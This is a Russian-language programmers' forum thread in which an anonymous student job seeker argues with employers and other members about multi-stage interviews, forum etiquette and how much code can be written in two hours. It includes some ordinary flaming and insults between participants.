Итак, ещё раз. Я говорил о том, внимание!.. что человек не что-то там грубо сказал (ибо сказано было вроде как нормально), а о том, что пропиарил другого человека. Хотя ветка вроде как для "пиара" меня создавалась. Теперь ясно о чём я говорю?

Здравствуйте, <Аноним>, Вы писали:
А>Итак, ещё раз. Я говорил о том, внимание!.. что человек не что-то там грубо сказал (ибо сказано было вроде как нормально), а о том, что пропиарил другого человека. Хотя ветка вроде как для "пиара" меня создавалась. Теперь ясно о чём я говорю?
Нет, не ясно. Покажи мне где там пиар идет и зачем этот пиар вообще нужен?

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:
А>>Ну так, как вы описали — нормально. Но уходить со второго собеседования ничего не зная, это работодатель тупит...
D>Какая разница с какого? Может еще одно собеседование понадобится для более глубоко разбирательства с оставшимися кандидатами

?

Нет уж, давайте на первом всё выясняте. Хоть два часа потратьте на кандидата, но выясните всё, что надо.
Хотя не спорю, в исключительных случаях можно и два раза сходить, если есть соответствующие обстоятельства и кандидат очень заинтересован в этой вакансии.

Здравствуйте, <Аноним>, Вы писали:

А>Здравствуйте, mogadanez, Вы писали:

M>>Например у нас человек уходит со второго интерьвью еще не зная результата ни тем более зарплаты, мы либо посылаем ему Job Offer, либо Rejection Letter.

А>Плохо работает ваша система.

Вы первый кто так сильно, этому удивляется.

А>Соискатель хочет результат (т.е. информацию о взяли/не взяли, размере зарплаты, условиях работы и т.д.) сразу. Вот и дайте ему результат.

Работодатель хочет быть уверен что берет хорошего специалиста, или( в вашем случае )талантливого студента. второе интервью — техническое. И после него я должен обсудить его результаты с коллегами которые на нем тоже присутствовали, и решить подходите вы нам или нет, и опредеить на какую позицию и оплату если подходите.

А> А не можете — ну так я и говорю: плохо, медленно работает ваш отдел кадров.

Ни в одной нормальной компании решение о том брать Вас или нет не примет отдел кадров. Вас будут собеседуют технические специалисты, и именно они примут решение брать Вас или нет.
( а не директора банков ). задача отдела кадров( если он вообще есть ) — принять резюме, согласовать время, иногда ( не везде ) провести первый разговор с человеком чтобы отсеять явный некодит.

А> К вам я не пойду, потому что а оно мне надо, уходить со второго собеседования ничего не зная, маразм...

для начала — Вас пока никто не зовет. Собеседований иногда бывает и больше, а еще тестовые задания иногда просят написать, и потом будут продавать ваш код за деньги !

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:
А>>Итак, ещё раз. Я говорил о том, внимание!.. что человек не что-то там грубо сказал (ибо сказано было вроде как нормально), а о том, что пропиарил другого человека. Хотя ветка вроде как для "пиара" меня создавалась. Теперь ясно о чём я говорю?
D>Нет, не ясно. Покажи мне где там пиар идет и зачем этот пиар вообще нужен?

Ладно, раз не ясно, значит у вас другое мироощущение, чем у меня. Я некоторые вещи чувствую более тонко, хотя это не всегда есть хорошо для меня... Этот вопрос закрыт.

А>Нет уж, давайте на первом всё выясняте. Хоть два часа потратьте на кандидата, но выясните всё, что надо.

Я вас сейчас совсем добью.... у нас второе интерьвью длится ОТ 2х часов.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

А>Так... Будем повторять пока некоторые не станут воспринимать главное из того, что я говорю. Я кстати, часто в жизни сталкиваюсь с тем, что я сказал какое-то предложение человеку, а тот задал вопрос, относящийся не к главной сути этого предложения. Вообще, это очень важно — понимать друг друга сразу. Я лично сразу улавливаю суть сказанного кем-то.

Если это происходит часто, тот может проблема не в слушающих а в говорящем?

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, mogadanez, Вы писали:

А>>Нет уж, давайте на первом всё выясняте. Хоть два часа потратьте на кандидата, но выясните всё, что надо.

M>Я вас сейчас совсем добью.... у нас второе интерьвью длится ОТ 2х часов.

Так вы же себе антирекламу делаете, говоря подобные ужосы. Ибо это плохо. Всё, я к вам точно не пойду. Да я за эти два часа... лучше 10 страниц кода напишу...

Здравствуйте, Аноним, Вы писали:

А>Ну надо же. Вы что, не слышите что я говорю?
А>Нет, ну надо же, до какого маразма надо дожить.

LOL

А>Когда я говорю, что человек сделал нехорошо (а он действительно сделал нехорошо) выясняется, что нехорошо сделал как раз тот, кто сказал тому, кто сделал нехорошо, что он сделал нехорошо (т.е. я). Надеюсь, эту фразу поймут

ну и откуда у Вас право считать, что хорошо делать, а что нет?

А>Вы понимаете, что так сказать может только женщина, ибо именно женщины как правило не улавливают суть сказанного... Ну а вы? Куда катимся?

А катимся мы к тому, что любой 21-ий пацан, дотянувший в свои годы только до третьего курса, нигде не успев поработать, начинает качать права и диктовать условия. Вы бы лучше брались за любую работу да зарабатывали опыт, а не говорили работодателям свое мнение о том, как надо принимать на работу. Есть стандарты, и не Вам менять их. Я популярно излагаю? А еще Вы бы засунули свои шовинистические вгляды себе куда-нибудь подальше, потому что Вашим коллегой может оказаться именно женщина. И, кстати, видал я отличных девушек-программеров, которые так код писали под линукс, как Вам и не снилось. Да и вполне возможно, что первое собеседование в серьезной конторе будет проводить именно женщина. И не дай бог Вам что-то ляпнуть из того, что Вы в этой ветке наговорили. Потому что тогда будет Вам дан пинок — интеллигентно, с улыбкой

— такой силы, что будете лететь Вы до аудиторий родного Политеха с первой космической скоростью. А на Ваше место придут еще пять соискателей с дипломами да с опытом, которые фильтруют, что они говорят. И из них контора будет выбирать самого коммуникабельного, самого опытного, самого вежливого. Мой Вам совет: идите и работайте хоть где-то хоть как-то, пока есть время зарабатывайте опыт, раз до сих пор его Вы не находили. Беритесь за что угодно, чтобы к выпуску не остаться без денег на существование. Не торчите тут на форуме, рассылайте резюме, бегайте на собеседования, в 21 год не шоу надо устраивать, а пахать: на работе, на учебе. Пахать! А не идиота из себя корчить.

Здравствуйте, Аноним, Вы писали:

А>Вы слышите меня? Мне не важно, нуждается он в пиаре или нет. Я не об этом говорю. Я говорю, что не надо рекламировать людей в ветке, для этого не предназначеной. Создайте форум для пиара и там это и пишите.

Вы — модератор?

Здравствуйте, mogadanez, Вы писали:

А>>Плохо работает ваша система.

M>Вы первый кто так сильно, этому удивляется.

Потому что это плохо! Понимаете? — плохо! Все тестовые задания, все технические собеседования и т.д. и т.п. можно уложить в первое собеседование... ну за 3и часа, ладно уж... Остальное — медлительность работодателя.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, mogadanez, Вы писали:

А>>>Плохо работает ваша система.

M>>Вы первый кто так сильно, этому удивляется.

А>Потому что это плохо! Понимаете? — плохо! Все тестовые задания, все технические собеседования и т.д. и т.п. можно уложить в первое собеседование... ну за 3и часа, ладно уж... Остальное — медлительность работодателя.

ну если вопрос в этом....
ты пытался пройти собеседования в MS?
процесс hiring-а там устроен так, что выбираются в среднем лучшие люди.
и медлительность тут не при чем — таков процесс. не нравится — иди работать в "BobruiskSoft", там набирают без промедления.

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:
А>>Вы слышите меня? Мне не важно, нуждается он в пиаре или нет. Я не об этом говорю. Я говорю, что не надо рекламировать людей в ветке, для этого не предназначеной. Создайте форум для пиара и там это и пишите.
D>Никто его в твоей ветке не рекламирует

Особо отмечу что знаю Романа лишь по этому сайту, правда не один месяц, а уже много лет — что позволяет характеризовать его даже без резюме, которого и не видел никогда кстати. Как и его самого вживую Однако это не помешало нам установить добрые отношения и на сайте и за его пределами. Впрочем, как и с множеством других коллег и просто замечательных людей, соратников по ремеслу — мой и без того весьма обширный контакт-лист благодаря RSDN значительно вырос и теперь постоянно приносит пользу в виде обмена информацией, интересных предложений и просто хорошего настроения от общения.

Не пиар, да?
И это тоже не пиар:

Герою рассказа не нужно было этого объяснять — с общением у него все в порядке, что легко проследить по истории форумов. Плюс он трудился много лет, делился знаниями, рос вместе с нами всеми (сообществом RSDN) и в меру сил способствовал этому росту (с небольшими заблокироваными перерывами Из-за похоже свойственной всем Романам непримиримости? правда она явно бывает разного характера) — и вот теперь он получает отдачу сторицей. Считаю это справедливым и хорошим примером для подражания.

???

Здравствуйте, Unhandled_Exception, Вы писали:

И не дай бог Вам что-то ляпнуть из того, что Вы в этой ветке наговорили. Потому что тогда будет Вам дан пинок — интеллигентно, с улыбкой — такой силы, что будете лететь Вы до аудиторий родного Политеха с первой космической скоростью. .

А откуда ты взял, что из Политеха?
Я этого не уловил. Видимо невнимательно читал.

PS2: Интересно, с какого он факультета и кафедры.

M>>Я вас сейчас совсем добью.... у нас второе интерьвью длится ОТ 2х часов.

А>Так вы же себе антирекламу делаете, говоря подобные ужосы. Ибо это плохо.

за меньшее время _невозможно_ выяснять досканально уровень человека. причем если человек без опыта — как Вы, то тем более, нужно еще больше времени чтобы в нем разглядеть потенциал. кстати многие кандидаты наоборт сами задерживаются подольше, пообщаться, посмотореть как мы работаем. а не убегают впопыхах.
насчет антирекламы не беспокойтесь, кроме вас никто это не считает настолько ужосным

А> Всё, я к вам точно не пойду. Да я за эти два часа... лучше 10 страниц кода напишу...

вы его на бумаге пишете?

а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, <Аноним>, Вы писали:
А>???
Это пример!!!

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Аноним, Вы писали:

А>Так вы же себе антирекламу делаете, говоря подобные ужосы. Ибо это плохо. Всё, я к вам точно не пойду. Да я за эти два часа... лучше 10 страниц кода напишу...

Охрененная логика

LOL, шоу продолжаеца

Что Вы имеете в результате написания 10 страниц кода?
И что Вы имеете в результате, возможно, успешного собеседования?

Здравствуйте, mogadanez, Вы писали:

M>вы его на бумаге пишете?

Иногда — да. Когда не за компьютером... На лекциях, например...
Потом домой прихожу, набираю.

M>а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

Возможно. Если знаешь что писать, если созрел в голове чёткий алгоритм.

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, mogadanez, Вы писали:

А>>>>Плохо работает ваша система.

M>>>Вы первый кто так сильно, этому удивляется.

А>>Потому что это плохо! Понимаете? — плохо! Все тестовые задания, все технические собеседования и т.д. и т.п. можно уложить в первое собеседование... ну за 3и часа, ладно уж... Остальное — медлительность работодателя.

Ovl>ну если вопрос в этом....
Ovl>ты пытался пройти собеседования в MS?
Ovl>процесс hiring-а там устроен так, что выбираются в среднем лучшие люди.
Ovl>и медлительность тут не при чем — таков процесс. не нравится — иди работать в "BobruiskSoft", там набирают без промедления.

В Micro$oft не пойду, даже если сам Билли позвонит мне на мобильник. Надо российские ИТ поднимать.

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Unhandled_Exception, Вы писали:

LD>

LD>И не дай бог Вам что-то ляпнуть из того, что Вы в этой ветке наговорили. Потому что тогда будет Вам дан пинок — интеллигентно, с улыбкой — такой силы, что будете лететь Вы до аудиторий родного Политеха с первой космической скоростью. .

LD>А откуда ты взял, что из Политеха?
LD>Я этого не уловил. Видимо невнимательно читал.

LD>PS2: Интересно, с какого он факультета и кафедры.

Это вы про меня что ли?

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:
А>>???
D>Это пример!!!

Ну понятно. Перечисление достоинств человека — это пример... да...

Здравствуйте, w00zle, Вы писали:

W>Здравствуйте, <Аноним>, Вы писали:

А>>Вот ещё несколько моментов, которые меня насторожили:
А>>1. он написал мне в воскресение

W>Это нормально.

А>>2. он неграмотный, в каждом втором слове у него какая-то ошибка

W>Ни один из моих подчиненных тимлидов не может писать грамотно по-русски. По три-четыре ошибки на более-менее распространенное предложение.

А>>3. после того как, я отказался выслать исходники, он начал рассказывать что мол какая крутая у них фирма, и какой высокооплачиваемый у них проект

W>Да, это странно. Вообще построение "виртуального собеседования" странное.

Пардон, а где вы таких безграмотных берете? По моим скромным наблюдениям общая грамотность и профессионализм очень сильно кореллируют.

Здравствуйте, FunnyRabbit, Вы писали:

FR>Здравствуйте, Аноним, Вы писали:

FR>Знаешь парень. Убей себя об стену. С таким отношением к людям у тебя никогда не будет работы.

Это тролль. Ему не нужна работа

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FunnyRabbit, Вы писали:
FR>>Знаешь парень. Убей себя об стену. С таким отношением к людям у тебя никогда не будет работы.

А>Ну да. Ничего, мы ещё посмотрим. Этот "парень" ещё миллионы сделает, а вы будете сидеть на своих местах.

А>Вы все, кто здесь отписался, все не правы. Я устал вам это доказывать. Объясню последний раз.

К вам тут в общем не плохо относятся. Учтите это.

А>Я могу работать в команде. Я могу работать один. На качество моего кода это не повлияет.
А>У меня нет никакого негативного отношения к людям, к работодателям.
А>Я хочу чтобы со мной общались корректно, по делу, без лишних слов. Так должен общаться любой серьёзный работодатель.
А>Все кто сидят здесь, на форуме, типа Unhandled_Exception и других, кто здесь отписался, — не есть серьёзные люди. Это хохмачи. Я уж не знаю, какие подукты они делают и кто у них заказчики, но иметь с ними дела я не могу и уже не хочу.

А>Кстати, мне кажется, что здесь нет ни одного представителя серьёзных, крупных банков (директората). Потому что у них есть дела поважнее.

Зачем же вы пришли на этот форум? Пора понять, что если не предложили — уже не предложат. В данном случае оскорбления лучше проглотить и уйти. Ведь они сами о себе всё знают. Да?

А>Что вы мне здесь о каком-то отношении говорите?! Вы сами, что сказали, кроме критики моего email и ICQ nick ??? Ничего! Одни не могут вразумительно ответить на вопрос о деньгах, другие требуют исходники мол им дайте (свои пишите, уважаемые!), третьи ещё что... А где серьёзные предложения?!

Критика e-mail — было полезное соображение. Исходники — ну дак вообще стандартно нужно, тем более с вашими постами. О деньгах вам и не ответишь — непонятно сколько вы стоите.

А>Я всё ещё верю, что есть нормальные работодатели, которые поймут, что я не грубиян, а сказал каждому то, что тот заслужил.

Вопрос в том, зачем вы это сказали. И многим вы сказали это незаслуженно. Будте более терпимы, я понимаю, вам наверное тяжело.
Вы лучше поищите в непрофильных фирмах работу — там обычно есть что-нибудь.

Здравствуйте, FDSC, Вы писали:

FDS>К вам тут в общем не плохо относятся. Учтите это.

Да на меня тут чуть ли не матюгаются!

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, mogadanez, Вы писали:

M>>вы его на бумаге пишете?

А>Иногда — да. Когда не за компьютером... На лекциях, например...
А>Потом домой прихожу, набираю.

M>>а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

А>Возможно. Если знаешь что писать, если созрел в голове чёткий алгоритм.

1. Во время написание кода и время алгоритмизации входит.
2. Вы серьёзно можете написать 500 строк кода за 120 минут? Я пишу за 120 минут не более 60 строк кода, если только речь не идёт о стандартном алгоритме, типа обход дерева катологов (там я пишу около 200). А ведь у вас по вашему посту опыт меньше, чем у меня.

А>Да на меня тут чуть ли не матюгаются!
Давно хочу спросить — неужели Вы не ходили в детский сад, школу, не общались с детьми во дворе, в армии не были, а в институте Вы с кем-нибудь общаетесь, или только код на бумаге пишете? Неужели не с чем сравнить? Огромное большинство народу в програмерской среде предпочитает общаться на "ты" и обладает чувством юмора. И чувствует себя при этом комфортно. Не говоря уж о том, что если Вы считаете кого-то дураком, то и вовсе грех обижаться, пропустить мимо ушей и все. Мало Вы еще здешних форумов читали, не видели, как бывает, когда народ материться хочет.
Не нравится — надо наверное искать работу в академической среде либо в серьезных буржуйских конторах, банках, но ведь туда Вас вряд ли возьмут на данном этапе.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Lonely Dog, Вы писали:

LD>>Здравствуйте, Аноним, Вы писали:

N>>>>Почти две недели прошло с первого поста, никак не пойму
А>>>И не поймёте.
LD>>Грубовато...

А>Ничего подобного! Я ведь предупреждал, не пишите сюда ерунду всякую. Я просил писать сюда только работодателей. Я не в восторге, что из этой темы сделали балаган. Я уже подумываю завести новую...

Боже мой! Не делайте этого... нет нет не надо ...... нее-е-е-е--е-е-е--е-е-ет!!!!!!!

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Dziman, Вы писали:

D>>Здравствуйте, <Аноним>, Вы писали:
А>>>???
D>>Это пример!!!

А>Ну понятно. Перечисление достоинств человека — это пример... да...

Если бы вы внимательно читали, то нашли бы там, кроме перечисления достоинств
1. То, как можно в них убедиться и соотв. рекомендация вам — делать так же
2. Этот PR был далеко не в самой читаемой ветке: следовательно PR ли это.

Ну неужели вы не можете просто немного подумать, прежде чем кидаться на собеседника?

Здравствуйте, Аноним, Вы писали:

А>>Ну дак вот, что я тебе скажу, аноним — мы работодатели ждем когда такие как ты нахлебаются .... по самые уши, этого особого кайфа затянувшегося поиска работы, до кондиции... И тогда видимо появится, нормальный зарегистрированный чел. Вежливый и покладистый, неконфликтный и понимающий своё место... Жалко только маму и папу, которые будут вынуждены кормить тебя все эти годы, пока ты не просветлишся...

А>Я же говорил — очень злой народ здесь.

Вы просто не видели других форумов. Народ здесь добрый, может не слишком, но без паранойи

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Аноним, Вы писали:

А>Кстати, вас тоже хочу попросить не писать больше в этой теме. Ибо из вас сыпятся гадости одни.

А>P.S. Люди! Ну надо же так было засрать мою ветку!.. Вот вы напишете что-нибудь не по делу, или что-нибудь обидное, я естественно отвечу тем же, а потом работодатели думают, что я и хам и грубиян и конфликтный и т.д. и т.п. Так не пишите сюда всякую ерунду! Чтобы мне не пришлось вам отвечать.

Тебя ж пытаются вразумить! Никто тебя ОБИЖАТЬ не хочет! Пойми ты это, ты действительно ведёшь себя так, что нарываешься на грубость: потому что для программиста хуже тебя вести уже просто почти невозможно. Ты плохо ведёшь себя, а то, что было сказано выше — сущая правда. Не ОБМАНЫВАЙ СЕБЯ! ДУМАЙ!

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, хамоватый Аноним,
А>>О банках рекомендую Вам забыть. Ибо в более-менее серьезных банках служба безопасности
А>>проверяет серьезно, А Вы тут оставили свой телефон, по которому вас вычислить элементарно,

А>Я ни от кого не прячусь. И не могу себе даже представить, зачем я могу понадобится службе безопасности

СБ банков проверяет всех соискателей. Если вы, например, жили в одной коммунальной квартире с милиционером — вас не возьмут на работу в этот банк

. В ЛЮБОЙ банк. А эта ветка — очень плохая для вас реклама, если работодатель на неё натолкнётся, поверте, о вас у него сложиться просто ОЧЕНЬ плохое мнение. Тем более, если это будет СБ.

Здравствуйте, xtile, Вы писали:

X>Пардон, а где вы таких безграмотных берете? По моим скромным наблюдениям общая грамотность и профессионализм очень сильно кореллируют.

А по моим — нет.
Тимлидом в параллельной группе работает (года три как, очень успешно) парень, который страдает такой ниграмматнастью, что не всегда и понять можно, что за слово имелось в виду. Что не мешает ему создавать успешные коммерческие продукты.

---
Woozle

Здравствуйте, <Аноним>, Вы писали:

А>Все кто сидят здесь, на форуме, типа Unhandled_Exception и других, кто здесь отписался, — не есть серьёзные люди. Это хохмачи. Я уж не знаю, какие подукты они делают и кто у них заказчики, но иметь с ними дела я не могу и уже не хочу.

Ага, а вы, батенька, с ником FuckedBitch — просто пример для подражания... Сама серьезность. Особенно при разговоре в чате с потенциальным работодателем. Кажется мне, что Вам лет этак 15. Парируйте, сэр.

[EOF]

Здравствуйте, Аноним, Вы писали:

А>В Micro$oft не пойду, даже если сам Билли позвонит мне на мобильник. Надо российские ИТ поднимать.

Напоминает слышанную много раз фразу "Это не вы меня увольняете — это я сам ухожу". Материал для психоанализа

PS: А на оверквотинг не обращать внимания — у Вас тоже принципиальная позиция?

Здравствуйте, Lonely Dog, Вы писали:

LD>А откуда ты взял, что из Политеха?

где-то это мелькнуло...

LD>PS2: Интересно, с какого он факультета и кафедры.

не знаю... все мои знакомые, которые вышли из Политеха, вполне вменяемые люди

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Lonely Dog, Вы писали:

LD>>Я уверен, что вы сделали правильный выбора, решив зарегестрироваться. Хочу пожелать, чтобы в новой ветке вы не ссылались на эту. Тогда есть очень большой шанс, что вами заинтересуются работодатели.

А>О! Решил зарегистрироваться я исключительно в рамках шок-тоу "антисоискатель-2", специально для постоянных зрителей. Я абсолютно не верю, что с такими работодателями-хамами, которые мне писали, у меня что-то получиться...

А>Специально ссылаться на эту ветку из новой я не буду, но в этой обязательно дам ссылку на новую, чтобы телезрители ничего не упустили.

Давай. Я с нетерпением жду нового искрометного юмора в стиле Камеди клаб.

. Ну, возьму за шаблон какую-нибудь тему, где какой-нибудь человек ищет работу, подставлю свои данные и посмотрим, что получиться. Мне правда уже заранее кажется, что разницы не будет. Но... посмотрим.

А>Это тему я не оставлю, потому что в ней весь я, было бы предательством

совсем её забросить...
А>Но тем не менее основное внимание моё будет посвящено новой теме.

А>Так что не пропускайте ни одного выпуска!

identify yourself first. А то ща жмакну кнопочку выход и составлю тебе компанию для путаницы.

Здравствуйте, FDSC, Вы писали:

FDS>2. Вы серьёзно можете написать 500 строк кода за 120 минут? Я пишу за 120 минут не более 60 строк кода, если только речь не идёт о стандартном алгоритме, типа обход дерева катологов (там я пишу около 200). А ведь у вас по вашему посту опыт меньше, чем у меня.

Я не вундеркинд, но это возможно. Я подчёркиваю: если знаешь что писать, если созрел в голове чёткий алгоритм. Т.е. останется только набрать текст, ничего думать уже не надо. Вообще скорость набора на английской раскладке максимум у меня доходит до 210 зн/мин. Если приходится переключаться, то меньше (не засекал). Это одна из причин по которой комменты в тексте программы я пишу на английском.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Lonely Dog, Вы писали:

LD>>Здравствуйте, Unhandled_Exception, Вы писали:

LD>>

LD>>И не дай бог Вам что-то ляпнуть из того, что Вы в этой ветке наговорили. Потому что тогда будет Вам дан пинок — интеллигентно, с улыбкой — такой силы, что будете лететь Вы до аудиторий родного Политеха с первой космической скоростью. .

LD>>А откуда ты взял, что из Политеха?
LD>>Я этого не уловил. Видимо невнимательно читал.

LD>>PS2: Интересно, с какого он факультета и кафедры.

А>Это вы про меня что ли?
Про вас. А что?

Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Аноним, Вы писали:

А>>>Ну дак вот, что я тебе скажу, аноним — мы работодатели ждем когда такие как ты нахлебаются .... по самые уши, этого особого кайфа затянувшегося поиска работы, до кондиции... И тогда видимо появится, нормальный зарегистрированный чел. Вежливый и покладистый, неконфликтный и понимающий своё место... Жалко только маму и папу, которые будут вынуждены кормить тебя все эти годы, пока ты не просветлишся...

А>>Я же говорил — очень злой народ здесь.

FDS>Вы просто не видели других форумов. Народ здесь добрый, может не слишком, но без паранойи

Лучше был бы с паранойей

Здравствуйте, FunnyRabbit, Вы писали:

FR>Давай. Я с нетерпением жду нового искрометного юмора в стиле Камеди клаб.

Всё же незнакомому человеку надо говорить "вы", т.е. "давайте".

Здравствуйте, Lonely Dog, Вы писали:

А>>Это вы про меня что ли?
LD>Про вас. А что?
Впрочем мне кажется, я знаю с какого вы факультета. ФТК?

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, Lonely Dog, Вы писали:

LD>>>Здравствуйте, Unhandled_Exception, Вы писали:

LD>>>

LD>>>И не дай бог Вам что-то ляпнуть из того, что Вы в этой ветке наговорили. Потому что тогда будет Вам дан пинок — интеллигентно, с улыбкой — такой силы, что будете лететь Вы до аудиторий родного Политеха с первой космической скоростью. .

LD>>>А откуда ты взял, что из Политеха?
LD>>>Я этого не уловил. Видимо невнимательно читал.

LD>>>PS2: Интересно, с какого он факультета и кафедры.

А>>Это вы про меня что ли?
LD>Про вас. А что?

Ну тогда поясню некоторые моменты. Политех не мог "мелькать" в этой ветке. Товарищ вас обманывает — перечитайте её всю, вы ни найдёте там упоминания этого учебного заведения. Услышать что-то похожее он мог только из моей переписка с представителем КА. Как он подслушал наш разговор по email я уж не знаю, но он не правильно понял. Ибо я лишь говорил о том, что у меня есть знакомый из Политеха. Сам же я как и говорил в самом первом посте, учусь в колледже.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Ovl, Вы писали:

Ovl>>Здравствуйте, Аноним, Вы писали:

А>>>Здравствуйте, mogadanez, Вы писали:

А>>>>>Плохо работает ваша система.

M>>>>Вы первый кто так сильно, этому удивляется.

А>>>Потому что это плохо! Понимаете? — плохо! Все тестовые задания, все технические собеседования и т.д. и т.п. можно уложить в первое собеседование... ну за 3и часа, ладно уж... Остальное — медлительность работодателя.

Ovl>>ну если вопрос в этом....
Ovl>>ты пытался пройти собеседования в MS?
Ovl>>процесс hiring-а там устроен так, что выбираются в среднем лучшие люди.
Ovl>>и медлительность тут не при чем — таков процесс. не нравится — иди работать в "BobruiskSoft", там набирают без промедления.

А>В Micro$oft не пойду, даже если сам Билли позвонит мне на мобильник. Надо российские ИТ поднимать.

так а как хочешь поднять? в одиночку? или команду будешь набирать?
а если будешь набирать — то как? будешь ли учитывать опыт наема других компаний?
не ломает в университете учиться, знания от других людей набираться?

зы. MS привел для примера
ззы. я бы пошел в MS, и обязательно попробую, потому что хочу не смотреть, как другие делают то, что потом используется по всему миру

Здравствуйте, Ovl, Вы писали:

А>>В Micro$oft не пойду, даже если сам Билли позвонит мне на мобильник. Надо российские ИТ поднимать.

Ovl>так а как хочешь поднять? в одиночку? или команду будешь набирать?

В перспективе — команду, конечно.

Здравствуйте, <Аноним>, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>2. Вы серьёзно можете написать 500 строк кода за 120 минут? Я пишу за 120 минут не более 60 строк кода, если только речь не идёт о стандартном алгоритме, типа обход дерева катологов (там я пишу около 200). А ведь у вас по вашему посту опыт меньше, чем у меня.

А>Я не вундеркинд, но это возможно. Я подчёркиваю: если знаешь что писать, если созрел в голове чёткий алгоритм. Т.е. останется только набрать текст, ничего думать уже не надо. Вообще скорость набора на английской раскладке максимум у меня доходит до 210 зн/мин. Если приходится переключаться, то меньше (не засекал). Это одна из причин по которой комменты в тексте программы я пишу на английском.

10 страниц текста это примерно 25000 символов. с вашей скоростью печати, за 2 часа ( не отвлекаясь! все время с максимальной скоростью 210*60*2 ) 25200 знаков.
НЕ ВЕРЮ!

1. Я знаю очень много людей, НИ ОДИН из них не способен печатать 2 часа неотрываясь. Даже девушки секретарши.
2. У вас в голове алгоритм созревает сразу с названиями переменных и методов? или вы из называете m1, a2?
2. ДА и не могу я представить ни один четкий алгоритм такого размера.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, <Аноним>, Вы писали:

А> Сам же я как и говорил в самом первом посте, учусь в колледже.

в кулинарном?

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, mogadanez, Вы писали:

M>>>Я вас сейчас совсем добью.... у нас второе интерьвью длится ОТ 2х часов.

А>>Так вы же себе антирекламу делаете, говоря подобные ужосы. Ибо это плохо.

M>за меньшее время _невозможно_ выяснять досканально уровень человека. причем если человек без опыта — как Вы, то тем более, нужно еще больше времени чтобы в нем разглядеть потенциал. кстати многие кандидаты наоборт сами задерживаются подольше, пообщаться, посмотореть как мы работаем. а не убегают впопыхах.
M>насчет антирекламы не беспокойтесь, кроме вас никто это не считает настолько ужосным

А>> Всё, я к вам точно не пойду. Да я за эти два часа... лучше 10 страниц кода напишу...

M>вы его на бумаге пишете?

M>а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

возможно
я за час ssh-клиент успею написать, уж он-то больше 5 страниц кода...
Copy-Paste

Здравствуйте, Аноним, Вы писали:

А>Ну тогда поясню некоторые моменты. Политех не мог "мелькать" в этой ветке. Товарищ вас обманывает — перечитайте её всю, вы ни найдёте там упоминания этого учебного заведения. Услышать что-то похожее он мог только из моей переписка с представителем КА. Как он подслушал наш разговор по email я уж не знаю, но он не правильно понял. Ибо я лишь говорил о том, что у меня есть знакомый из Политеха. Сам же я как и говорил в самом первом посте, учусь в колледже.

значит, я ошибся. но это неважно, по большому счету. в том моем посте просто надо убрать слово Политех и поставить на его место слово колледж. Какая разница до куда лететь с первой космической

PS а я-то думал, что хоть ВУЗ нормальный, а значит и не ВУЗ даже, а колледж какой-то... совсем плохо.

M>>вы его на бумаге пишете?

M>>а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

Ovl>возможно
Ovl>я за час ssh-клиент успею написать, уж он-то больше 5 страниц кода...
Ovl>Copy-Paste

так он эта.... на бамажке... какой там копипейст?

копир чтоли?

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, mogadanez, Вы писали:

M>Здравствуйте, <Аноним>, Вы писали:

А>>Здравствуйте, FDSC, Вы писали:

FDS>>>2. Вы серьёзно можете написать 500 строк кода за 120 минут? Я пишу за 120 минут не более 60 строк кода, если только речь не идёт о стандартном алгоритме, типа обход дерева катологов (там я пишу около 200). А ведь у вас по вашему посту опыт меньше, чем у меня.

А>>Я не вундеркинд, но это возможно. Я подчёркиваю: если знаешь что писать, если созрел в голове чёткий алгоритм. Т.е. останется только набрать текст, ничего думать уже не надо. Вообще скорость набора на английской раскладке максимум у меня доходит до 210 зн/мин. Если приходится переключаться, то меньше (не засекал). Это одна из причин по которой комменты в тексте программы я пишу на английском.

M>10 страниц текста это примерно 25000 символов. с вашей скоростью печати, за 2 часа ( не отвлекаясь! все время с максимальной скоростью 210*60*2 ) 25200 знаков.
M>НЕ ВЕРЮ!

Не верите — ваше право.

M>1. Я знаю очень много людей, НИ ОДИН из них не способен печатать 2 часа неотрываясь. Даже девушки секретарши.

Я способен и больше. Вообще за компом сижу очень много неотрываясь. Хотя... почему не отрываясь? Ну там покурить на 10 мин можно сходить...

M>2. У вас в голове алгоритм созревает сразу с названиями переменных и методов? или вы из называете m1, a2?

